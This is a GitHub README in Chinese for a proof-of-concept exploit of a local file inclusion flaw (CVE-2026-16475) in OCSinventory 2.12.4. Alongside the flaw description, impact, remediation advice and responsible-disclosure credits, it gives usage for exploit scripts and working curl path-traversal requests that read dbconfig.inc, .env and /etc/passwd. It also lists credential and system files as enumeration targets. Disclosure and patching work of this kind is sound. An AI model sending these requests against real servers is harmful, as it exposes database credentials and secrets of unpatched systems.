afertar/CVE-2026-16475-PoC
GitHub: afertar/CVE-2026-16475-PoC
CVE-2026-16475 的 PoC 工具,验证 OCSinventory 2.12.4 中因 `linkedoptions` 参数未过滤导致的本地文件包含漏洞。
Stars: 0 | Forks: 0
# CVE-2026-16475 - OCSinventory LFI PoC
OCSinventory 2.12.4 中的本地文件包含漏洞
## 漏洞详情
**CVE ID:** CVE-2026-16475
**CVSS 评分:** 6.9 (中危)
**CWE:** CWE-98 (PHP 程序中 Include/Require 语句的文件名控制不当)
**受影响版本:** OCSinventory 2.12.4
**状态:** 已在最新版本中修复
### 描述
`/ajax/teledeployoptions.php` 端点存在本地文件包含(LFI)漏洞,原因是在动态 XML 文件包含操作中使用 `linkedoptions` 参数之前,未对其进行适当的过滤。
该端点旨在加载 XML 配置文件,但未能正确验证 `linkedoptions` 参数,从而允许路径遍历攻击。
未经身份验证的远程攻击者可以利用此漏洞:
- 包含并访问应用程序目录内的任意 XML 文件
- 通过 XML 解析器错误消息读取非 XML 文件
- 泄露有关内部应用程序资源的敏感信息
- 枚举系统文件并执行操作系统指纹识别
### 影响
- **机密性:** 高 - 访问任意文件(配置文件、源代码、日志、系统文件)
- **完整性:** 无
- **可用性:** 无
- **需要身份验证:** 否
- **用户交互:** 否
## 用法
### 前置条件
```
pip install -r requirements.txt
```
### Python 版本(推荐)
```
python3 exploit.py -u http://target.com -v
```
**选项:**
- `-u, --url` - 目标 URL(必填)
- `-v, --verbose` - 详细输出
- `-o, --output` - 将成功读取的内容保存到文件
**示例:**
```
python3 exploit.py -u http://ocs.example.com -v -o results.txt
```
### Bash 版本
```
./lfi_test.sh
```
编辑脚本中的 `BASE_URL` 变量:
```
BASE_URL="http://target.com/ajax/teledeployoptions.php"
```
## 枚举目标
- 应用程序配置文件 (dbconfig.inc, .env, config.inc)
- XML 工作文件 (bashscriptopt, executableopt, msiapplicationopt)
- 系统日志 (apache2, mysql, auth)
- 系统文件 (/proc/*, /etc/*)
- 应用程序敏感信息 (composer, package files, .htaccess)
## 漏洞利用示例
```
# 读取 database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"
# 读取 passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"
# 读取 environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"
```
## 修复方案
**对于用户:**
- 立即将 OCSinventory 更新至最新版本
- 实施 WAF 规则以阻止目录遍历模式
**对于开发者:**
- 使用 `basename()` 或类似函数来防止路径遍历
- 在执行文件操作之前验证并清理所有用户输入
- 实施适当的访问控制
- 对有效的文件路径使用允许列表
## 参考
- [INCIBE 公告 (ES)](https://www.incibe.es/index.php/incibe-cert/alerta-temprana/avisos/inclusion-de-archivos-locales-en-ocs-inventory) - 官方 CVE 协调机构
- [OCS Inventory GitHub](https://github.com/OCSInventory-NG/OCSInventory-ocsreports)
- [OWASP 路径遍历](https://owasp.org/www-community/attacks/Path_Traversal)
- [CWE-98 定义](https://cwe.mitre.org/data/definitions/98.html)
**注意:** CVE-2026-16475 由 INCIBE 协调,可能尚未在 NVD 中建立索引。请查阅 INCIBE 来源以获取权威信息。
## 法律声明
**仅用于教育和授权测试**
有关完整的法律声明,请参阅 DISCLAIMER.md。
## 作者
Adrián Ferrer Tarí
*通过 INCIBE 协调的负责任的漏洞披露*
标签:Bash, CISA项目, Python, 安全PoC, 应用安全, 无后门, 本地文件包含, 网络安全审计, 逆向工具